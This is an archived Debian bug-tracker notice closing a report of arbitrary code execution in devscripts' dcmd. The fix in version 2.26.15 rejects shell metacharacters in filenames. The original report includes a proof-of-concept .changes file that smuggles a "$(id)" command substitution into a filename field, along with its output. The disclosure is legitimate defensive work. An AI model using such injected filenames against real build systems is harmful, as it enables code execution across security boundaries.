Article View: linux.debian.bugs.rc
Article #2606Bug#1139271: marked as done (dcmd: Arbitrary code execution in `dcmd echo`)
From: Debian Bug Tracking System
Date: Sat, 07 Nov 2026 17:10
Date: Sat, 07 Nov 2026 17:10
285 lines
13615 bytes
13615 bytes
This is a multi-part message in MIME format... ------------=_1794071342-872068-0 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="utf-8" Your message dated Sat, 07 Nov 2026 17:07:07 +0000 with message-id <E1xPjsh-0000000DnFg-0LxF@fasolo.debian.org> and subject line Bug#1139271: fixed in devscripts 2.26.15 has caused the Debian Bug report #1139271, regarding dcmd: Arbitrary code execution in `dcmd echo` to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact owner@bugs.debian.org immediately.) --=20 1139271: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D1139271 Debian Bug Tracking System Contact owner@bugs.debian.org with problems ------------=_1794071342-872068-0 Content-Type: message/rfc822 Content-Disposition: inline Content-Transfer-Encoding: 7bit Received: (at submit) by bugs.debian.org; 7 Jun 2026 23:29:41 +0000 X-Spam-Checker-Version: SpamAssassin 4.0.1-bugs.debian.org_2005_01_02 (2024-03-25) on buxtehude.debian.org X-Spam-Level: X-Spam-Status: No, score=-16.5 required=4.0 tests=BAYES_00, BODY_INCLUDES_PACKAGE,DKIMWL_WL_HIGH,DKIM_SIGNED,DKIM_VALID, DKIM_VALID_AU,DKIM_VALID_EF,HAS_PACKAGE,MD5_SHA1_SUM,RCVD_IN_DNSWL_MED, SPF_HELO_PASS,SPF_PASS autolearn=ham autolearn_force=no version=4.0.1-bugs.debian.org_2005_01_02 X-Spam-Bayes: score:0.0000 Tokens: new, 13; hammy, 112; neutral, 21; spammy, 2. spammytokens:0.941-+--H*r:bugs.debian.org, 0.852-+--sincerely hammytokens:0.000-+--H*Ad:N*Bug, 0.000-+--H*Ad:N*Tracking, 0.000-+--HTo:N*Debian, 0.000-+--HTo:N*System, 0.000-+--HTo:N*Bug Return-path: <kpcyrd@archlinux.org> Received: from mail.archlinux.org ([95.216.189.61]:45670) by buxtehude.debian.org with esmtps (TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim 4.96) (envelope-from <kpcyrd@archlinux.org>) id 1wWMvy-007ZlT-0j for submit@bugs.debian.org; Sun, 07 Jun 2026 23:29:41 +0000 Message-ID: <42dea66a-2718-4788-b69e-ed8ad9f5ce77@archlinux.org> DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=archlinux.org; s=dkim-rsa; t=1780874968; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding; bh=Ggn5FSUOSUpTa2GfZb7i7DbE4q7Qk9LQaiech45eNWk=; b=RJsdLeZ9emZgNhyeyX/9fNOAWiM95IIT2LbHJP6kTpjH4/26Gvx8UxyooFBDaEM3r+10Z3 PGSASzM6LZmZxUAJtS1p4Ru9lA4LMBwe+YjiZqiYvvjkksibQPLcme2rdBFVMSgjbmprhl twoKataMCMi+MLshVC+mMWHVMczjmY1OGGxgM0lZro5pOmuZ8FywnPujxCSxHIkmsVvlMZ QLv1jvCOSEIMiDmkKsFmawWvVB1u4Gcv2VWahj/jFHxtfnbV1ycGQizlX9BIp7irG5MpWc kAjXZaBBhWz+LNhYueakFmrbhWqHqEozZ/iUni6g/JkmoT55t19+xER5rj4ON/KNIdMa7Y Az56Lz2psdW7uqWIfVYHIE2JgigvWIqrDoaZNhTiZ5mmZVdPtTqJajUA66Vvuk0nfBGnjI tiadO2Cysvp4zYMfR+lhYYBf1VRzDAe8G+RGvSnF6y+Apllw7Hfo573hikV6ubbx5xPyXA qkhdXXYVXV/gSLXvzeDgVQsoEvT3/wpTqwhpMAF0DgypsgQVqkMcLdqMNF7Y7dVRjrPHQD 2jPq5re57jvgeBG5HLb1I0+YfxdFkjcg63pgWgUWMwDxumgbyjTvruW51fnY/LHXH/TFqh A4CcwIU2Zi19xRVDWVA257YigPJYKX77rBQLhOnbo+RGkaX8AXFn8= DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=archlinux.org; s=dkim-ed25519; t=1780874968; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding; bh=Ggn5FSUOSUpTa2GfZb7i7DbE4q7Qk9LQaiech45eNWk=; b=lUsa8q2YE9jE7/cVaFADxZEQCVc8cK4VOf/Mn3cT3MTa68gLF0TnZwkQYihG9QCuSDpjnF niYS/VJOktwGhZCg== Authentication-Results: mail.archlinux.org; auth=pass smtp.auth=kpcyrd smtp.mailfrom=kpcyrd@archlinux.org Date: Mon, 8 Jun 2026 01:29:27 +0200 MIME-Version: 1.0 Content-Language: de-DE, en-US To: Debian Bug Tracking System <submit@bugs.debian.org> From: kpcyrd <kpcyrd@archlinux.org> Subject: dcmd: Arbitrary code execution in `dcmd echo` Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Delivered-To: submit@bugs.debian.org Package: devscripts Version: 2.26.9 Severity: critical File: /usr/bin/dcmd hello! When I read through #1138907 the error message caught my attention and I crafted a .changes file that executes arbitrary code when processed: --- 8< --- Format: 1.8 Files: ffffffffffffffffffffffffffffffff 1337 abc optional "$(id)" --- >8 --- $ /usr/bin/dcmd echo hax.changes uid=1000(user) gid=1000(user) groups=1000(user),27(sudo),112(sbuild) hax.changes This creates an undocumented execution path that may cross security boundaries on Debian build server infrastructure. This bug is related to #1138923. Sincerely, kpcyrd ------------=_1794071342-872068-0 Content-Type: message/rfc822 Content-Disposition: inline Content-Transfer-Encoding: 7bit Received: (at 1139271-close) by bugs.debian.org; 7 Nov 2026 17:07:09 +0000 X-Spam-Checker-Version: SpamAssassin 4.0.1-bugs.debian.org_2005_01_02 (2024-03-25) on buxtehude.debian.org X-Spam-Level: X-Spam-Status: No, score=-114.2 required=4.0 tests=ALL_TRUSTED,BAYES_00, DKIM_SIGNED,DKIM_VALID,DKIM_VALID_AU,DKIM_VALID_EF,FVGT_m_MULTI_ODD, HAS_BUG_NUMBER,MD5_SHA1_SUM,PGPSIGNATURE,SPF_HELO_PASS,SPF_PASS, USER_IN_DKIM_WELCOMELIST autolearn=ham autolearn_force=no version=4.0.1-bugs.debian.org_2005_01_02 X-Spam-Bayes: score:0.0000 Tokens: new, 102; hammy, 150; neutral, 115; spammy, 0. spammytokens: hammytokens:0.000-+--HX-Debian:DAK, 0.000-+--H*rp:D*ftp-master.debian.org, 0.000-+--HX-DAK:process-upload, 0.000-+--H*r:sk:fasolo., 0.000-+--H*MI:fasolo Return-path: <envelope@ftp-master.debian.org> Received: from mailly.debian.org ([2001:41b8:202:deb:6564:a62:52c3:4b72]:50296) by buxtehude.debian.org with esmtps (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim 4.96) (envelope-from <envelope@ftp-master.debian.org>) id 1xPjsj-003eTs-0n for 1139271-close@bugs.debian.org; Sat, 07 Nov 2026 17:07:09 +0000 Received: via submission from C=NA,ST=NA,L=Ankh Morpork,O=Debian SMTP,OU=Debian SMTP CA,CN=fasolo.debian.org,EMAIL=hostmaster@fasolo.debian.org (verified) by mailly.debian.org with esmtps (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim 4.96) (envelope-from <envelope@ftp-master.debian.org>) id 1xPjsh-00DusO-34 for 1139271-close@bugs.debian.org; Sat, 07 Nov 2026 17:07:07 +0000 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=ftp-master.debian.org; s=smtpauto.fasolo; h=Date:Message-Id:Content-Type: Subject:MIME-Version:To:Reply-To:From:Cc:Content-Transfer-Encoding:Content-ID :Content-Description:In-Reply-To:References; bh=03rmLJ7B14tS3TbletCltUUiYEZJlV63SWzL5scl0Tk=; b=lSuqXOM+q6nsujIJP0XvMTRkNR j4caO8g66Kc7TLu0rIlmIl0QUqilD3f6+DJqfv+Py2JYCKMh994BoPtsXGkfHVbS8D79CY0LPQZX4 5o7203AiBjC8ISY5dCVmaLtjIsnKZfY3WvUJeF+r07H5PN90jZYtW0NMfFA8PQio/ztoqYco1Vomb +DUDrQuLfLn+fHxYauFQjHTWzWZBZbgaarfrX9fhmB5RnZdSXm6zJrgsoO6NzAZGa+hWuf4ks0w9d aZ4NCbpwWD9CVEqIgoY9dZh82VY27Z/dPK2WscLR+9BbcXYi5EGmtit6ozExyO+n2JzaCyOBz59PJ 4znjoTqw==; Received: from dak by fasolo.debian.org with local (Exim 4.98.2) (envelope-from <envelope@ftp-master.debian.org>) id 1xPjsh-0000000DnFg-0LxF; Sat, 07 Nov 2026 17:07:07 +0000 From: Debian FTP Masters <ftpmaster@ftp-master.debian.org> Reply-To: Holger Levsen <holger@debian.org> To: 1139271-close@bugs.debian.org X-DAK: dak process-upload X-Debian: DAK X-Debian-Package: devscripts Debian: DAK Debian-Changes: devscripts_2.26.15_source.changes Debian-Source: devscripts Debian-Version: 2.26.15 Debian-Architecture: source Debian-Suite: unstable Debian-Archive-Action: accept MIME-Version: 1.0 Subject: Bug#1139271: fixed in devscripts 2.26.15 Content-Type: multipart/signed; micalg="pgp-sha256"; protocol="application/pgp-signature"; boundary="===============8335642101965716685==" Message-Id: <E1xPjsh-0000000DnFg-0LxF@fasolo.debian.org> Date: Sat, 07 Nov 2026 17:07:07 +0000 --===============8335642101965716685== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Source: devscripts Source-Version: 2.26.15 Done: Holger Levsen <holger@debian.org> We believe that the bug you reported is fixed in the latest version of devscripts, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 1139271@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Holger Levsen <holger@debian.org> (supplier of updated devscripts package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmaster@ftp-master.debian.org) -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Format: 1.8 Date: Sat, 07 Nov 2026 17:55:42 +0100 Source: devscripts Architecture: source Version: 2.26.15 Distribution: unstable Urgency: medium Maintainer: Devscripts Maintainers <devscripts@packages.debian.org> Changed-By: Holger Levsen <holger@debian.org> Closes: 1139271 Changes: devscripts (2.26.15) unstable; urgency=3Dmedium . [ Christoph Berg ] * dcmd: Reject shell metacharacters in filenames. Closes: #1139271. * Add a dcmd test script. * Avoid infinite recursion when running test_dcmd --installed Checksums-Sha1: a8444bf284f3e7aad731edec204e7d4ab676c227 3585 devscripts_2.26.15.dsc 1f2adc117b6b8a0f09cc58f82b2e58ee88288557 1128540 devscripts_2.26.15.tar.xz 3383439d205acf7122ea7e40c52e26c84f285448 21036 devscripts_2.26.15_source.bui= ldinfo Checksums-Sha256: e98873e0934fb41306657a27fc09825d856ef3c04a1f8523d9fffdfcee322550 3585 devscr= ipts_2.26.15.dsc 8eb4b5074d998fbdfb4c2b8912d073e8308d1b9628b12b0dbb59af0ec189159c 1128540 dev= scripts_2.26.15.tar.xz ad92167bcd38c774ab10157a6bf1fc66065b004647c203a8993550a7b8cf466b 21036 devsc= ripts_2.26.15_source.buildinfo Files: 8f150c52fb3b07935877c9be150b8d65 3585 devel optional devscripts_2.26.15.dsc 81452040bb368fab2644c6bcee8e0e81 1128540 devel optional devscripts_2.26.15.t= ar.xz f718c4408d950d7762496a6b921c9fa7 21036 devel optional devscripts_2.26.15_sou= rce.buildinfo -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEuL9UE3sJ01zwJv6dCRq4VgaaqhwFAmrvWGwACgkQCRq4Vgaa qhzfXw/7Bvcgx5IOVny9ARARvEB+kCHAt/UO/5Vpq0qiVGtTnq0sIoWXIR9/gt1v BeHAHKG4KcuCH/a7D2H7WtGZUFPzTlrsJSMjiIJr9n7qltMgBPoBoNv3xOlUmuh2 4kI2yXMTTXSeVDwI2k1kHYU+Ip4B8CkvUBoJApV1qMK1psAMroWRgL4wQ7OQtz+j Puzj2fkWlbcAwivHHU2jCFOgidSShZsp7YmVmHmSGBU3fFAhhhJYTR2aa+RaHGnR rgKtBQ+ElruWnuoqgM+gkpNpf8B3I9y0coqIPb5LkFN0wkVt6LU/47oEez7uh1+e pOqe175Rh6vIaHteWB5FZTAVcSwtuS/dRdzj7WhdN6VsncZrjPxTMfPjwxDh/38U O8hj/KvE8Q30bIv0Nnbs6PUd/Hgom1hE2KRD6voI4hQFMJW6zdpSdvvpvCqCR6n1 w+m/j7+WykmYDsQRzRjaBgLLAjT6cUBo4HHqEQ6xi0oWya+/Oh5JVc9htQVoN7oH mO/UxUr/B2uFJPPcxG8uBUn37CyDwHZVUgyd7N8C/IWHKZxwEoTQvBU+tjYNNdVO OEdQj1Qkpx4Qa+grcBSk+DhmYrsik1lTHiWCk4Y9FduoVw6K4vn6AtyKSw732MJE Paba0AQWf8U98fkH7Tl/gahWswK0OijAxZpriP//WJLZHd3nc/o=3D =3D2uzH -----END PGP SIGNATURE----- --===============8335642101965716685== Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- iHUEABYIAB0WIQTziqJOuF8J+ZI8pJSb9qggYcy5IQUCau9auwAKCRCb9qggYcy5 IYAeAP9LEQsp9tJXkWeDgObUN9MVzdtyj4w+sLSris9gfMz8uAD/aRXMhOzfYku6 Q5FXD2xZyA6yxe6S04tn+YbP2rus8gU= =53G0 -----END PGP SIGNATURE----- --===============8335642101965716685==-- ------------=_1794071342-872068-0--
Technical Details
Message-ID:
<NWS5s-aqAC-27@gated-at.bofh.it>Path:
mbox-mo1.pugleaf.net!archive.usenet.blueworldhosting.com!usenet.blueworldhosting.com!diablo1.usenet.blueworldhosting.com!news.samoylyk.net!gothmog.csi.it!bofh.it!news.nic.it!robomodReferences:
<NWS5s-aqAC-29@gated-at.bofh.it> <N3vfX-b84J-3@gated-at.bofh.it>Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!archive.usenet.blueworldhosting.com!usenet.blueworldhosting.com!diablo1.usenet.blueworldhosting.com!news.samoylyk.net!gothmog.csi.it!bofh.it!news.nic.it!robomod From: "Debian Bug Tracking System" <owner@bugs.debian.org> Newsgroups: linux.debian.bugs.rc Subject: Bug#1139271: marked as done (dcmd: Arbitrary code execution in `dcmd echo`) Date: Sat, 07 Nov 2026 18:10:02 +0100 Message-ID: <NWS5s-aqAC-27@gated-at.bofh.it> References: <NWS5s-aqAC-29@gated-at.bofh.it> <N3vfX-b84J-3@gated-at.bofh.it> X-Mailbox-Line: From debian-bugs-rc-request@lists.debian.org Sat Nov 7 17:09:09 2026 Old-Return-Path: <debbugs@buxtehude.debian.org> X-Spam-Flag: NO X-Spam-Score: -2 MIME-Version: 1.0 X-Mailer: MIME-tools 5.510 (Entity 5.510) X-Debian-Pr-Message: closed 1139271 X-Debian-Pr-Package: devscripts X-Debian-Pr-Keywords: security X-Debian-Pr-Source: devscripts Reply-To: 1139271@bugs.debian.org Content-Type: multipart/mixed; boundary="----------=_1794071342-872068-0" X-Debian-Message: from BTS X-Mailing-List: <debian-bugs-rc@lists.debian.org> archive/latest/837507 List-ID: <debian-bugs-rc.lists.debian.org> List-URL: <https://lists.debian.org/debian-bugs-rc/> Approved: robomod@news.nic.it Lines: 285 Organization: linux.* mail to news gateway Sender: robomod@news.nic.it X-Original-Date: Sat, 07 Nov 2026 17:09:02 +0000 X-Original-Message-ID: <handler.1139271.D1139271.1794071229870606.ackdone@bugs.debian.org> X-Original-References: <E1xPjsh-0000000DnFg-0LxF@fasolo.debian.org> <42dea66a-2718-4788-b69e-ed8ad9f5ce77@archlinux.org>